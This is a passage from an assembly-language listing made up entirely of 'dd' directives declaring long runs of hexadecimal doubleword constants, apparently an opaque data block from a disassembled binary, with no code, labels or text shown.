79C6AD24h, 348700FCh, 0C4E7C379h dd 28EA1E37h, 7C1F785Dh, 0D7690A43h, 2075362Ah, 0A0CE16Bh dd 5BDF0529h, 0B5809732h, 4A9F9129h, 49C5EDCBh, 4B347E7Eh dd 0AE3A8569h, 8239583h, 67527A5Bh, 0A360D794h, 599231D2h dd 7781D3ACh, 0E5B9148h, 87169A65h, 478C1496h, 6989A69Bh dd 5D721C07h, 7CEF0392h, 155C9BA9h, 852B9BA8h, 81E32074h dd 95096883h, 714786Dh, 0BECF184Fh, 0EE7AB556h, 789010AAh dd 66F680D7h, 80B788AFh, 75468EE0h, 0F2FAE955h, 32A9A4B0h dd 2F574CD7h, 0E0B07173h, 517A783Ah, 0DDECA1B3h, 69A9B392h dd 4B0055BEh, 3D9EF957h, 0D0B12D80h, 8A36A219h, 0A9CD05FEh dd 0F8ADEB7Ch, 0A6FD61D6h, 7A8142C5h, 0C072E783h, 751BA07Fh dd 91F8F167h, 672FD13Dh, 0EFFEECDAh, 0AD7859E8h, 28075567h dd 77F284A8h, 0B4632A98h, 0DA943CBEh, 88932B59h, 0CDE65E25h dd 9AA2D063h, 7FB50C6Fh, 0A530FA35h, 78DD536Fh, 0D229B695h dd 0D519B59Ah, 5514CBBDh, 0A5CD0422h, 0D9D4AD2Bh, 2CFD7EC9h dd 76902507h, 771292EAh, 1BE88904h, 54DC26CAh, 493E07FEh dd 0A5212A25h, 9ADBA7E5h, 0A829512Dh, 9673CC09h, 553216DEh dd 0C5571A0h, 5440E702h, 106B572Bh, 0BD199A71h, 2899F777h dd 5F0D5C12h, 55ABC20Ch, 9ABCE05Bh, 321EA31Ah, 0D47D86BEh dd 8B7D86C6h, 0B20C4B56h, 7B948392h, 0C55A375Eh, 5EE1C74Bh dd 471B612Eh, 71ACD3BEh, 0B5B6DC93h, 5FC912E1h, 9FE325CAh dd 7F19572Ch, 0F3422E4Ch, 25042EB5h, 4A687DD9h, 3E39734Dh dd 0FFC9F8CAh, 8E8EC47Fh, 0A3593BBCh, 18C4ACA1h, 0AC4009A4h dd 1536573Ah, 9EF54475h, 24E3767Ch, 0F40BFF55h, 381BC0D2h dd 7C9959D9h, 0D6C3F497h, 96099176h, 8F909A38h, 549CC429h dd 0C05AC1B5h, 3A006FCBh, 68506E0h, 610816F0h, 604361D5h dd 0A0A50738h, 286CAF22h, 93B3913Fh, 4DDA4CBEh, 37057155h dd 4FBF0940h, 0CF1CC9EFh, 1F1C4488h, 1DC68845h, 6C512B4Ch dd 75E4F70h, 4F043FDCh, 0B148687Ch, 344AE98h, 0BB33FCCDh dd 0B2390658h, 54A16D56h, 0B85B7A87h, 9EFEB682h, 4BC7BF42h dd 24132A49h, 0A33A837h, 0A0921996h, 1D796F4Bh, 0F695CF8Ch dd 5BF42D8Ch, 0C72E25AEh, 0F8B4BD20h, 0CA7F5C38h, 5766D505h dd 7259D9A3h, 2D0D5B47h, 0A0D22D8Ch, 3E7A0792h, 0AA0EC66Ch dd 0B45B8687h, 0B30AE69Ch, 0C57F4065h, 83C6D4Dh, 24B7AD01h dd 48894DEh, 0FB5FC12Ah, 0DABEEEE6h, 0A1EB48Dh, 96CF2DD5h dd 31A30F24h, 2422F1AFh, 0E4DDC4F4h, 0F2449FCDh, 0C324B79h dd 98A6F12Ah, 26FB303Eh, 89453515h, 0EDEE66D4h, 3F68068h dd 68BF3251h, 591E491Ah, 0EEED1B77h, 2D53D47Ah, 0B51751CEh dd 71B1DEEBh, 31094D65h, 58B9427Eh, 943614F1h, 5E862128h dd 0A20A51CDh, 0E0723DA1h, 0B13D04Bh, 8700B272h, 148FC733h dd 68049DDEh, 6F602841h, 9970DA02h, 0EC6C30C3h, 0FD435E0Eh dd 0B51676D1h, 3BE92565h, 5603EF7Bh, 0BBBAB149h, 4DCACA6h dd 87613D21h, 9DB3746Ah, 76EA2640h, 0F50EF886h, 0E161F652h dd 0F4CF89Dh, 6E9A943Eh, 6FE6B9AAh, 0ABCB556Eh, 397C2303h dd 3D51E034h, 0B90546DAh dd 81BEC8Ch, 0E3C92A9Dh, 0CEB04DAEh, 8CA0D376h, 3367B307h dd 86264E6Ah, 742777D0h, 7BF98B21h, 1F2DD3A8h, 0FBE4F6E6h dd 0CCF5966Ch, 0D76C3240h, 0F5B0E46Dh, 89A5B666h, 1A08EB7Fh dd 3FCAC618h, 0B3F96FFBh, 0E086882Dh, 5132D3C9h, 3BF67E61h dd 0D7C7EDA3h, 0D7BD8A6Fh, 525E3B87h, 32BCD44Dh, 0FBC48504h dd 1DB629B8h, 52CA041h, 91529430h, 9E3A535Ch, 54AA230Eh dd 84F31361h, 0A568D14Dh, 0BD8CBE2Bh, 5FAF8E01h, 0E05B2E3Bh dd 0E7851B47h, 2EC7AF83h, 95EFA1F9h, 77372E47h, 0A1C2039Dh dd 0D710E66Ch, 0B18BB5C8h, 29B801D2h, 0AC364336h, 4A00E2DEh dd 308F15DAh, 0A5F55C3Eh, 0AC9257E3h, 7D581FEAh, 0F983CAA1h dd 8347F14h, 0EE092A74h, 4C8B9508h, 3BDE00B8h, 2455E6C6h dd 1041B90Ah, 1CFF3993h, 0C3FAB9B4h, 0BB3B48ACh, 0C82F4F89h dd 1AD077Ch, 390F0F7Fh, 67EEC69Bh, 2A867343h, 415C86EDh dd 4AD88F4Fh, 0B9D1034Dh, 32B7E4Fh, 0CB9DEB69h, 4EF86B1h dd 15BBBEF6h, 31BFD08Ah, 4F91503Ch, 43D2AF99h, 0ADD52A2Eh dd 63A2F400h, 0CA3741C9h, 87C931F1h, 0AFAA3A35h, 0C50FBB33h dd 0FEB55755h, 4ED28C68h, 0A74A1ABFh, 4336FC82h, 8B1E6F7Ah dd 325D142Ah, 4F861AA1h, 25FEEE54h, 833BDB76h, 0EFEE7D69h dd 0F785E835h, 0D111E7CAh, 0FB5FE0EFh, 58BA821Eh, 628F9AE1h dd 0D286F5B6h, 3DE394F0h, 0DE358F2Bh, 0E8447019h, 0C231231Bh dd 9A408D20h, 0A1DB3CD3h, 7B897D29h, 7F7563A4h, 5F1850B0h dd 0F041D343h, 1037BFF1h, 75FB5018h, 28FAB9BEh, 6D1E8CC0h dd 0B5854BE7h, 0AECDEA21h, 0D0BF00A0h, 0FADE882h, 867879EFh dd 0D4B80993h, 0F656290h, 0B1FAA93Ch, 0BF1DCCC2h, 0B904E0AEh dd 1E7F2F3Eh, 0D9729BF4h, 0DEA30368h, 67165BA0h, 3B96CD7Eh dd 0D95ECB5h, 5AA8D422h, 8CF45D90h, 0EA23D942h, 2B4E2BE5h dd 5B236134h, 41BCEAA8h, 0DB188256h, 4DD282D1h, 544B2FCCh dd 0BED53410h, 8C7527A2h, 0CFB816BDh, 5CD588FCh, 0EFA89245h dd 12FD58F4h, 0E16A976Eh, 5CB430A5h, 6CDA9519h, 0A8C59027h dd 30EAE871h, 2C04F619h, 0B28DD7F1h, 53F39C1Fh, 3DDA0E03h dd 4C342DC8h, 911B2146h, 1DD42167h, 2FFACF2h, 0F66010CCh dd 3D394B2Ch, 623E6C24h, 8FD7B9DDh, 132BA1F3h, 0C8575F72h dd 0AE3EBF44h, 0E9C6C4E5h, 0E8D65BA2h, 230B94ABh, 6621237Fh dd 50BE1935h, 703B0080h, 4FC108C4h, 2C3D628h, 94BF26EAh dd 2CB61571h, 33273250h, 907A8673h, 9FF3A2D7h, 45C1388Fh dd 0C5FCE1B6h, 8E557D93h, 0A20061C0h, 0B7106D7Eh, 0DC4FAD8Ch dd 4097F922h, 0AFA16CF7h, 625A5722h, 2708C6DEh, 0F3CBED84h dd 7F9F48FDh, 0AB46F7EAh, 6E061B05h, 391EB33Ah, 2EED15Eh dd 45DCC10Bh, 12C46DFEh, 56F146B3h, 0F23F47F4h, 0A875A440h dd 290949BCh, 3D2F23Eh, 141E2638h, 0C65B324Fh, 66D57BBCh dd 7C70046Eh, 561A338Eh, 0EC48F766h, 6AC52625h, 0D5865AD4h dd 173A410h, 0E47A54F9h, 82476366h, 77F64BE4h, 1A6064B2h dd 0BB0B1FD0h, 0FABC2FF0h, 2049AD6h, 9ACA72A5h, 0FCF5982Eh dd 0DA490625h, 0ABA2324Ah, 0C8C69C9Fh, 0E4F42297h, 524B33D6h dd 750B1EC4h, 823A223Dh, 16E9180Ch, 1BE00A0Ah, 3F554275h dd 7C9E8122h, 717A3F89h, 0B9C36556h, 0A9C3535Fh, 0F79AB20Bh dd 0E4F69221h, 0D76C1F81h, 77E4FAAh, 0C47F0B22h, 55E174D3h dd 3FE52ECh, 63BFF033h, 227A101Ch, 0F812ABEDh, 0CB8D6A5Bh dd 0AF20339Eh, 112954A0h, 8A60C89Bh, 82321A3Fh, 5C6CDF76h dd 0B7D4955Bh, 0DB3877F6h, 0C9E59708h, 5248C5ABh, 0B46744FBh dd 76846CCBh, 516E732Fh, 9E0E6F55h, 2E43D3C3h, 16A3ED8Fh dd 9A2D02AAh, 0E05CEA8Bh, 0EC44FC07h, 3DBDF988h, 0C8F72705h dd 0DBD635E6h, 5926F3FBh, 2B8E212Ah, 0EEB27113h, 21ADCFBAh dd 0BF0EFF43h, 6B68AE10h, 0D262AE42h, 32D3AC6Dh, 391E7CD4h dd 0EA945D95h, 0BB4E687Ch, 6F5B3DD1h, 0C729D925h, 3D6A2FD0h dd 0F5F689Dh, 0B58BB467h, 71160DFEh, 8F40E7FEh, 94226517h dd 883F7738h, 572BC1BAh, 5B0964E7h, 82C3715Dh, 1B9E5E2h dd 86A700B7h, 0A7EF0C83h, 70120681h, 541C91h, 88204Fh dd 0C60C835Ch, 17E8FB51h, 55DED08h, 0A5C02B02h, 834F8685h dd 0DC81C567h, 82F18D09h, 8C67BB95h, 0ED0DDE6h, 23907C55h dd 168AA5C2h, 84303584h, 3FD7A688h, 1BB1A090h, 111E2F47h dd 0CADDA2BBh, 412055A7h, 63B53277h, 8F08B482h, 6B6DC31Dh dd 879C489Fh, 1C27FFD9h, 0D868F3C6h, 0C87A4BD0h, 0F52BC697h dd 0C5007A44h, 0A4D20F35h, 8C6DA275h, 582528E5h, 0CBD84D43h dd 24442724h, 5F2A5485h, 1D26A9EFh, 0A3F503A7h, 0CE8F8592h dd 0E474CAC9h, 279FC9DBh, 0C4F1E30Ch, 5C110BFEh, 80D40B6Eh dd 1D93F15h, 41B66208h, 76F049ABh, 0B7403E0Fh, 7B717BFDh dd 0F4EAEC7Ah, 0DDA1A97Ah, 0EC8A95DEh, 0AFB5D142h, 0ACCFB663h dd 0C6986F2Bh, 0C4526137h, 5A3BADC8h, 8579D3CFh, 95DB3501h dd 69283D0h, 6C9AED5Ah, 0E557273Dh, 0A4CBA707h, 0D53406A3h dd 27EAA8B4h, 0BE97A612h, 0C5650688h, 0B4768E1Fh, 45BB8FBCh dd 2757ACB6h, 2F222D52h, 3D48160Ch, 0FEC75C94h, 37335424h dd 0F029E51Bh, 0B239C2ADh, 0F43AFDE7h, 9A404B48h, 271BE0EEh dd 7E437EBCh, 213A5379h, 0BAAF3255h, 981B979Eh, 9776A8D2h dd 66135A4Fh, 18CE813Fh, 472BD9BBh, 62B0512Bh, 871B60B5h dd 7B6AB42h, 0C10EE590h, 7ECA95F2h, 0AEBCB211h, 0BCBAF09Dh dd 0C1BF32FBh, 96DABD4Ch, 3058FEA6h, 9D7B4729h, 875D4DA6h dd 0BC780E46h, 6AE18797h, 0C345CDCFh, 0C1F3A30Dh, 0CFE630B0h dd 0DC05A383h, 0F0FBECEDh, 0DFA4AF2Dh, 78DDA29Fh, 0BB09C7F9h dd 1852FE0h, 39773154h, 0C671AFF5h, 285D477Fh, 0DB74ED58h dd 551986C7h, 506139EEh, 0DD2591BBh, 0C841B4E7h, 0AE9A3612h dd 0F3C074F5h, 0D665CF1Ch, 0B3216381h, 1C955553h, 0EEC9F626h dd 0D4B3C02Fh, 328B5831h, 470E3C28h, 0B16EC759h, 0D60E1576h dd 1E9F1706h, 0EA99EB18h, 51D3ABFBh, 772346CEh, 0E8A3F026h dd 0E788BED4h, 0C5F3AEEAh, 171EECBEh, 16AD94C8h, 1DBC6865h dd 4EC407C5h, 0C7B9E1A3h, 874850E0h, 1FFEEAA1h, 599D1E4Ah dd 0BFB1A30Dh, 0D3DE86C0h, 4276274Ch, 0C9AA70EEh, 7F7ECCF4h dd 0DA900F0Bh, 6FE715E0h, 0E546D26Eh, 0CF7C147Ch, 43826505h dd 2F148043h, 61E55203h, 149A0DC5h, 58E1AC3Bh, 0AE5AE970h dd 3BF4250h, 50534529h, 94D40C64h, 9532430Eh, 8D8859F9h dd 0F12E7C26h, 0D2BC8289h, 8F9331DCh, 7847A02Eh, 119B18A1h dd 49D6F8D4h, 8535AB6Eh, 0B07903C5h, 758BD0D2h, 693E1487h dd 4E707E61h, 5E1F303Ch, 1460923h, 7D888B48h, 97C3815Dh dd 0CA0F1B5Bh, 6A84ECD4h, 0C7AEBCCh, 83EACBEEh, 0FAAB2988h dd 395E8B74h, 0D0BCB85Fh, 327BB6CBh, 633D90A7h, 9A11EB09h dd 762F20B6h, 0E1275371h, 0E14430FCh, 8542551Eh, 0E52FCFFAh dd 1BEA830Dh, 0E101CE4Fh, 0C0051362h, 97F3A8E3h, 6B0837F0h dd 4CFAE830h, 1D87E5Ah, 0E27CC0DCh, 9CCA441Dh, 43EF3141h dd 887566Ch, 527D600Eh, 1B121E2Dh, 654ACB05h, 0D6447939h dd 0F08EF71Fh, 4A87E87h, 0F130DD4Eh, 0C292FE78h, 831F128Fh dd 0AD41BD97h, 9C63D15Fh, 0C831AFA6h, 0EB472414h, 0A7FE0AFCh dd 80E58CECh, 0CB4AD9B8h, 0E5F6DF70h, 52C43E88h, 5794B20h dd 47ABCBD6h, 348D2129h dd 104B31F8h, 3313775h, 519D1F6Ah, 7D98C608h, 0CE23CAA8h dd 0A6A36133h, 0C849485Dh, 680EBD5Eh, 0CF992EDCh, 207E8C2Ch dd 41480E0Dh, 216FB59Dh, 0D651CDDEh, 0B7703646h, 3B830F6Ch dd 6B3F2C0Fh, 0DFF664Dh, 0E6DD1BC3h, 65EAC5C1h, 35D59A36h dd 6F1B3C10h, 620FF02h, 8AA5FD9Ah, 82596345h, 7F910B89h dd 82D1EE72h, 3C8A189h, 0BF215092h, 0B81F7386h, 0B00BFE1Bh dd 0B772FCB9h, 2687CE05h, 46735ABAh, 0A8EC514h, 4269DE68h dd 515E4516h, 0D0569EDDh, 0E5E946DAh, 0A29ADA2Dh, 2A0D20D0h dd 0E509DA81h, 0B0F0D335h, 114435D7h, 1E8F4E40h, 0B0069A78h dd 526D926Ah, 0D6F158BCh, 0D086DB06h, 658E56B4h, 7580E6B9h dd 437B8E60h, 0ACB6B210h, 41988B03h, 84D12C70h, 2F5CC01Dh dd 90012E06h, 0A6A931EBh, 0A80A072Bh, 40B81A51h, 624C8B9Dh dd 15EBA682h, 1BEF053Bh, 4163B39Dh, 0E0BDC2CDh, 0BEDFF04Bh dd 0F03B57D1h, 0AEE70420h, 0BF4AF62Bh, 39D636A2h, 0ADFF531Bh dd 0A28EFD7Ah, 0CA546881h, 4190F76Fh, 0DC256C8Ch, 48442C7Ch dd 0BFFCAF1Bh, 0D8C0E849h, 60B1B40Ah, 188C14ECh, 4F712845h dd 16AA91FBh, 0DDDCE5FDh, 0B23B9D7Ah, 69BAB767h, 38A1F8DEh dd 404ED9E8h, 0A4FE13Bh, 6C0F28B2h, 16939EC1h, 0A6D45CDFh dd 84BF7C1Dh, 0AA04D1C5h, 4854FE3Ah, 4EB06DD2h, 0EEEBA18Bh dd 0D102928Bh, 396B3346h, 0C32B40Bh, 9A52C6CEh, 0EC1CEB1Bh dd 0C5105E2h, 852D9C4Eh, 19CC8A68h, 90E893D0h, 64827A8h dd 0B6A77C6Dh, 0AFF26BDAh, 0F482C949h, 9D5AA865h, 80A147DBh dd 2ADD7BA6h, 0AF68150Dh, 4AB261A1h, 0B4149A5Dh, 90F61590h dd 0C536BE4Fh, 0CC53FB3Bh, 16626EC2h, 18F0D560h, 956269E3h dd 0A4A6C9BEh, 67205BA6h, 0F3968672h, 692C52E7h, 0B91B9CDEh dd 2DCE3557h, 0F6AD15E2h, 482AB38Bh, 2F2CFE02h, 2F41B56Ah dd 24984573h, 64F7209Fh, 1F8F81A4h, 79AA6Dh, 0FE536B7Ch dd 0B345A7Dh, 0CA51E715h, 20B9A15Dh, 6BE36E79h, 8A4B6075h dd 0F3B6BF0h, 39598A52h, 98006761h, 27E9CAB9h, 315B1773h dd 0B11DD9EBh, 0C26C3C08h, 704D06DFh, 0C55D11CDh, 537C4D99h dd 4E78CD4Ah, 0E41664A2h, 9D0165F6h, 5BD192DDh, 0B18D9C4Bh dd 0C7BCC671h, 49B02C14h, 8632BE12h, 0BAAFB842h, 5B98D62Fh dd 0D5F6E354h, 8E700113h, 0C06D097Ch, 363D3786h, 3584E16Eh dd 44EEF9AEh, 0B0A5910Ch, 0FA1CFD13h, 0BA8F288Dh, 0D7D65FF2h dd 20CCC44Ah, 5DC32CA6h, 0FF3FB327h, 79BD789Dh, 3F97FAE2h dd 12615FDh, 5AD67127h, 0FCBAA104h, 34D6C2A2h, 0BCA6B5DEh dd 0A2E7E091h, 76008FEAh, 757FF51Eh, 0E977D30Bh, 9E4CC98Fh dd 0E6858FF6h, 6CAFF6Fh, 9492C541h, 8841162Ch, 0EDFF034Dh dd 0F9C11E7Ah, 1086E0A5h, 39DCA9EDh, 26161866h, 5D3102C8h dd 2E143BC7h, 54FB1BE7h, 7F480BE0h, 75D41DB1h, 22C697B4h dd 855CFD33h, 381F381Fh, 96E1610Fh, 0AC7AEEB3h, 3EF9A248h dd 56E90C1Dh, 5859D8Fh, 81BEDAD6h, 39D0AC51h, 0E5324F98h dd 2C206F9h, 271D8D2h, 629DECD4h, 576CD180h, 0F7B68249h dd 68A0E176h, 11EBA2FDh, 692A197Ah, 61013427h, 61E13DFFh dd 0F9E4750Fh, 0D2F5857Eh, 7BC9E87Ch, 4952C01Fh, 0B0B1AD60h dd 5A54BF35h, 0A30ABC5Ah, 20CFFBB1h, 0F6805E5Ch, 428D26C1h dd 91C1EAF4h, 68633B7h, 7EB13D4Ch, 0C246FCEDh, 0F89A40AEh dd 0BAC25A80h, 2744F1D7h, 54478403h, 3026AEBh, 87C5536Eh dd 0E59E7022h, 2DEAECD4h, 6CA03BABh, 496D9EBFh, 57CCB605h dd 14EE936Fh, 8144AFECh, 0F9B1AB58h, 0C19C9AD6h, 0CB11B565h dd 7E010856h, 0FCBBD59Ah, 5A1E07EBh, 0ED485195h, 0EF96C3B6h dd 45331FEAh, 164AD73Dh, 4AE32644h, 4ADE5BCDh, 552ED3EBh dd 4FE2095Bh, 846B2D00h, 802BB01Ch, 7F74FFA0h, 0F29A051Eh dd 0BA242385h, 0C090E885h, 5885D3D1h, 63CEF9DAh, 0D30EF5DEh dd 724B1E52h, 6C7304A4h, 9157D238h, 0C20BBEB3h, 0C9DBE47Fh dd 3A842F2Ah, 0D5854398h, 0ECBABCE8h, 0A47C1D14h, 3FCAE4F8h dd 0BF3A376Dh, 0ADF6D849h, 6350221Bh, 0B1025D4Ah, 8E7ABC84h dd 83ADF5DFh, 2C84706Dh, 5C2D5342h, 2657608h, 0D700490Eh dd 0DAEE2017h, 3D0CBD38h, 0DD39870h, 2326ADBh, 1708C780h dd 6CCBF493h, 99A422E1h, 5362B9F7h, 0EF83E598h, 0F6732BE8h dd 0E2E5279Dh, 0DA180663h, 6FD552DEh, 0C98DE61h, 0ED35E709h dd 844E953Bh, 49D0EE56h, 6D84630Ah, 0A93167CBh, 0D677A6EAh dd 0A626016Eh, 8F27011Dh, 0D4B58671h, 6BFA344Fh, 5587597Ch dd 91B7FCBFh, 0E1299A6Eh, 3BF26A7Ah, 0E4A63A9Bh, 1271B528h dd 0F64A3C6h, 0E9C82B4Ah, 2CC9F706h, 4EC61D3h, 26558B44h dd 5F77D5A3h, 7C0C418Dh, 3ECA9C0Ch, 0DEA301E4h, 16316445h dd 7C0A9D33h, 6D53AE3Bh, 887CBAC3h, 58A0BB1Dh, 70396581h dd 552C71AAh, 37EE3BA5h, 3AE1A818h, 0B0640D38h, 1F394F9h dd 2C00BF0Ch, 5430AE14h, 2C92CB6h, 2E8DCC4Eh, 24EB85ADh dd 3DB0C03Ch, 945AFFF1h, 0FFF94C18h, 0C9A0771Eh, 8D782FA4h dd 0C3AA613Fh, 9507CB49h, 82145EBFh, 692CF5FAh, 148D6FAFh dd 93B7EA7Bh, 46FD3029h, 3F67BF65h, 0F7C8A14Fh, 83078851h dd 6BF34111h, 486CABDDh, 82BD2A96h, 0B58287BFh, 28D17811h dd 39D3F5B8h, 1396DA98h, 8B6E2010h, 0FBC942E4h, 9CF9AF59h dd 0CCF28D82h, 8E472023h, 0F45E07DFh, 5636DBDBh, 1729CD9Fh dd 221D5A4Ch, 0A115AE2Eh, 0E73D142Bh, 0FF8DA2DBh, 8B3B3866h dd 6D745B5Ah, 98C6F3D1h, 96AE94A7h, 4155A644h, 4B66CB97h dd 24AE3ABDh, 2FC5B321h, 2E8E0D0Ch, 0DD88DFA4h, 225E468Dh dd 0D89B1A09h, 0A6A7A200h, 0CA42686Ch, 389879E6h, 67A4686Ch dd 9E1A8711h, 13336329h, 9FA71B9Fh, 948B1A79h, 0F13BA859h dd 0BB3D545Ah, 79746A11h, 8984B5A4h, 0FAD688ABh, 58ECC504h dd 566F04A2h, 5C383538h, 0C825D19Ch, 0E01F8CE3h, 3B165172h dd 0BAFECCB4h, 7FBE5CA3h, 8DB2B060h, 3888F9DAh, 425514ABh dd 0CAABA259h, 0A895D966h, 723E689Ah, 0ECA357E4h, 0B3EC8FD8h dd 0A75FEF16h, 0F7AE7AA4h, 0B662087Dh, 0E460C2B1h, 0DAFAD3B9h dd 8ED44E8Ah, 9A5BC2E5h, 88D0052Dh, 12C847B9h, 242B9921h dd 91B8A1C8h, 0B3C86E25h, 69C9A82Dh, 0B62ACAC6h, 8BDE32C1h dd 9741B3Ch, 2707BFB7h, 0DDFB36ADh, 4357084Fh, 31CD5A11h dd 0FCCC2FDFh, 391BB3Bh, 9A81C424h, 6C899BB4h, 1A696648h dd 0C5E5E5B7h, 0CCC57174h, 1E178A3Bh, 0DEBD8084h, 1BB0B297h dd 5761FF6Ch, 2DE58122h, 66B29CB4h, 0DA72F039h, 2B638E70h dd 0B5A431B7h, 0A1F0A64h, 0D98A3064h, 257FBE05h, 0DFF9CABDh dd 0D87C6F3Eh, 0D2B5C8A9h, 98F346FAh, 6BE610h, 38185F39h dd 8FF41D9Ah, 7754DF0Dh, 6DC2F9A4h, 4CAACDD4h, 38015245h dd 0C212999Bh, 0BAEEC1C4h, 10337F3Ch, 8AD1BAE5h, 14FB40A2h dd 0AA391A4Ch, 298A345Dh, 5731B921h, 1765CC9Fh, 807DE0D2h dd 4B9F4D3Dh, 135E27E4h, 2616696h, 59591D3Ch, 0E1B66612h dd 0C3F17319h, 1774CBE2h, 9D805A77h, 7BEE4793h, 0BE2B130Ch dd 85273A1Dh, 0D8ABCB4Ah, 0F9FBB22Ah, 5FA2D021h, 0B5889758h dd 54F39334h, 0B7B3122Ch, 6D4E9FA5h, 2C3FCD17h, 0A4C6979Ch dd 0A2A2DD15h, 8C639120h, 3892C64Eh, 983745C5h, 4C6F0009h dd 0A3D7CD55h, 0EC93AD6h, 0F85E7723h, 95BBCB5h, 88B0AF3h dd 0E68BA6EEh, 0FBAF53AFh dd 2E8A550Dh, 0F853B7C2h, 2D391501h, 0C1E5E82Dh, 45A7539Dh dd 42BC1F1Ch, 646A57BCh, 987BECE5h, 77FBC903h, 7C395DF6h dd 269B1FD4h, 0A161A898h, 4F5C1B6h, 19494338h, 2ED6B5CAh dd 638D2EC0h, 4EE2CDBCh, 71B311F2h, 0F07F714Fh, 6C1D8EEAh dd 0F4390696h, 33EB1173h, 0B5161A8Fh, 1043D621h, 0E658CDBFh dd 0EF58DA16h, 558FA5Bh, 0C3ED234Eh, 228F6117h, 0E7EDA659h dd 94F8C995h, 7FC660C6h, 7F1A5F5Dh, 62884D74h, 0F6660002h dd 54FCF423h, 0D73FACE2h, 636EE1F8h, 0D5F5087Ah, 0F7DF61F0h dd 0E8EF2E28h, 709CE662h, 58C87AE4h, 0ACE5C27h, 96F653A2h dd 0FD08B9B1h, 9A39A169h, 0B134AE12h, 43D4E225h, 0F2232BFFh dd 0D9E7CDB1h, 3A6822CEh, 0E50075A0h, 0E33BAFEBh, 44415224h dd 0BE9CAF84h, 0C7251C67h, 8311C445h, 8F1FA9EDh, 0A757379Dh dd 0F131A899h, 241FAED4h, 4FE9C01h, 601EBD5Ah, 1AA8810Eh dd 0C9FCCB24h, 0E577BDA4h, 0FF5DA5D6h, 87F78DE3h, 95C8EED4h dd 7B8A65CCh, 0BBB3022h, 0A95E9A73h, 63E6B96Dh, 0A28764E3h dd 91111F39h, 2802B7C4h, 4B3DC3C5h, 89263325h, 547DAC7Dh dd 2C8A656Ch, 702740DDh, 88F8949Eh, 15E4C659h, 60242EA5h dd 0E81458D1h, 86BA36ADh, 23AD6DEBh, 0E6C792EDh, 0C2A0358Fh dd 0F2CFF355h, 70B4C4AAh, 93B240C7h, 263D343Bh, 10C77E7Bh dd 0DBB9398Ch, 0C105ACB4h, 882CED7Fh, 7DEA347h, 0CEB70AE3h dd 2A2FC464h, 6D6A0CCFh, 0D133F65Dh, 0FDAAF054h, 0A93E4832h dd 0D701C771h, 68F048A8h, 0B7BBC17h, 0C417B1FAh, 4A4430AFh dd 0A11599E0h, 0F72F22F8h, 3AF4BD1Bh, 0DE3A16E3h, 0C0485D39h dd 7CE335D2h, 48DB7767h, 0B24E9EF3h, 2BA6F027h, 1D1787A9h dd 4158F8C4h, 0C4F8FE2Ch, 0E5B4D076h, 5DDE4BAAh, 885BC979h dd 9F900816h, 0B8B7941h, 0EF53E5B2h, 0A849684Fh, 0F4121D57h dd 791DE8D0h, 0BB85D3A0h, 9763145h, 8CE16D1Dh, 732BD520h dd 72BADF61h, 1ABEC98Fh, 31C08DD1h, 92FF79C3h, 63A5EB86h dd 0D8B3555Ch, 9088CD37h, 52784A9h, 761CD59Bh, 355D98B3h dd 7C11D9CEh, 0B66C388Bh, 86BF229Ch, 0D71CBF9Eh, 0BAFC3C4Eh dd 0F4EC8698h, 0CF7B4B14h, 0CF1E0003h, 0E333148Ch, 0ABE7D5FFh dd 240C9D01h, 71698526h, 377C17AAh, 0C78C9E65h, 88C7C19Eh dd 352D27ABh, 9E60F652h, 0F3B86748h, 5A79B90Eh, 4C05C57Ah dd 0BBF1C0E0h, 0B25CE048h, 0CA76622Fh, 3DC7680Bh, 471A55ACh dd 820F4D21h, 0DACBC665h, 0FFD952E6h, 0E8434B46h, 400E876Ch dd 9AAFD13h, 14AE08D5h, 0BF9B4B79h, 554E7DC6h, 852EC4A8h dd 731F8C63h, 73FD958Dh, 263A5418h, 5255506Eh, 219B29ACh dd 89B33B8Dh, 0D780E19Ch, 0DE36928Ch, 0F06CFE0Ch, 66426BBFh dd 32062264h, 8E8F18D6h, 83418B8Fh, 20F2716Fh, 0FE1AB887h dd 45D55936h, 7578F26Eh, 9519ED5Fh, 0F3F75B60h, 91CDD25Dh dd 0A1EDBA61h, 1C2A0C52h, 0F4DA460h, 0CE2AA8D4h, 9A9DC4A4h dd 2DA3CC62h, 0B6413A8Eh, 48293116h, 888B85F4h, 0E3AF17B5h dd 2F0AE2EEh, 0B3223CCDh, 34ABF14h, 4B54D45Ah, 1FC90845h dd 0B16BC25h, 27A10C83h, 0A1C4166h, 6CC894C0h, 0B7521D42h dd 2F5E88F1h, 0D3FBABB4h, 0C6FDEC17h, 435D106Ch, 3502C1DBh dd 2B2BC2C9h, 0CD2C50A9h, 0CF9ABDA9h, 3360BA32h, 0AEE070EBh dd 0CBFDFE56h, 0E1BA2379h, 0CCFD103h, 4570E3EDh, 0CAE839C1h dd 35E6FFD3h, 0EEF69371h, 24D1CDCDh, 19CEBEF7h, 0F0DBF211h dd 0B13ED5E6h, 0A46408F5h, 9DEBFC5Fh, 0DC125CBCh, 329DC522h dd 10D8649Eh, 52519273h, 0B1FB0638h, 0DD3CB579h, 0E603FD95h dd 9CFF11CCh, 0B81EC398h, 5B6EEB1Eh, 0ACCDDD56h, 0AEF5EB1h dd 9F334C53h, 5BF1DE56h, 64C77731h, 0C606A64Ah, 91C5811Ah dd 4DFE49A2h, 420D7BBh, 4AE9EB87h, 2C72C15Bh, 83614789h dd 95ACDDD6h, 0B5C4861Ah, 2B444B74h, 157567BAh, 30C175C1h dd 10F1E984h, 353CEEF1h, 0F0C10532h, 2DF629F4h, 6C7B5B99h dd 37EEA265h, 0BF50C879h, 5AA3748Eh, 0EC5DBF77h, 667BF1BFh dd 0EF667259h, 516D2091h, 0F635BF04h, 63603D84h, 5F3B8329h dd 95B2F3E4h, 152D35D2h, 0E8BF3DE9h, 3E70211Dh, 73CF729Fh dd 0C1321CA4h, 0A3298D0Eh, 6443F4CDh, 3880AE0Ch, 12F145h dd 6ACF1468h, 3A68335Bh, 0C99F5115h, 9F2A9E65h, 4184A1D7h dd 0BE7654AEh, 6B297CF0h, 0E2B6840Bh, 6D7A4BE0h, 0E69FA34h dd 5EA1446Ah, 57967558h, 0BDADD89Ah, 0EF42E7Eh, 56F90BEBh dd 444DB639h, 4C397B85h, 0A761C48Dh, 0B8E631D9h, 3693CE0Dh dd 0C44E1101h, 6C4E112h, 0D34CC322h, 0A2CF59D2h, 0F9B6603Ah dd 40A75473h, 0D02DC51Eh, 0A46B1B70h, 3A8205BDh, 0F838D07h dd 3103E007h, 0EF66BDEh, 5190D374h, 2B86B68Ch, 86604A8Eh dd 87506E9Fh, 0A6ED1090h, 523B75D1h, 7C1DDF1h, 0F894AE02h dd 